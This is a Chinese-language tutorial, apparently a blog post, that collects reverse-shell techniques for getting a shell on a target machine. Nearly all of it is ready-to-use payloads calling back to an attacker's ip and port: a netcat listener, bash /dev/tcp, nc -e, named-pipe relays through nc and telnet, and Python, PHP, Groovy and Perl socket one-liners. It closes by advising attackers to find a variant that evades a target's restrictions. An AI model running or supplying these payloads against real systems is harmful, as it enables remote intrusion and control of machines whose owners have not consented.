yum install netcat
使用如下命令判断是否安装成功
nc -h
使用如下命令开始监听
nc -lvvp port
bash一句话为:
bash -i >& /dev/tcp/ip/port 0>&1
其中ip与port改为attacker端的ip与开启监听的端口。
使用如下命令即可反弹shell
nc -e ip port /bin/bash
但出于安全性考虑,很多nc没有进行’-e’的编译,执行后会出现下面的结果:
可以使用启用两个端口进行监听,一个输入,另一个监听结果,即:
nc ip port1 | /bin/sh | nc ip port2
这条命令在网上我见到有人运行成功了,但我没有。
那么再换一种方法,在靶机上执行如下命令:
mknod /tmp/backpipe p
/bin/sh 0< /tmp/backpipe | nc ip port 1> /tmp/backpipe
首先建立管道:
mkfifo /tmp/b
这句话等同于上述提到的
mknod /tmp/b p
都是给予文件“p”属性,即创建管道文件
之后执行telnet语句完成反弹shell:
telnet ip port 0</tmp/b | /bin/sh 1>/tmp/b
使用此类反弹shell时需要注意靶机上需要有目标语言的环境才能进行反弹。
首先是python:
import socket, subprocess, os
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('ip', port))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
p = subprocess.call(['/bin/sh', '-i'])
或者在命令行直接执行:
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ip",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
但可能因为我的靶机的host配置问题无法成功。
其次是php:
php -r '$sock=fsockopen("ip",port);exec("/bin/sh -i <&3 >&3 2>&3");'
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ip/port;cat <&5 | while read line; do $line 2>&5 >&5; done"] as String[])
p.waitFor()
同时我也没有perl环境,也不作尝试了:
use Socket;
$i = "ip";
$p = port;
socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
if(connect(S,sockaddr_in($p,inet_aton($i)))){
open(STDIN,">&S");
open(STDOUT,">&S");
open(STDERR,">&S");
exec("/bin/sh -i");}
;
perl -e 'use Socket;$i="ip";$p=port;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
实际攻击时,目标往往会对反弹shell的命令做一定的限制,在这种情况下,找到合适的,可用的方法才是攻击成功的关键。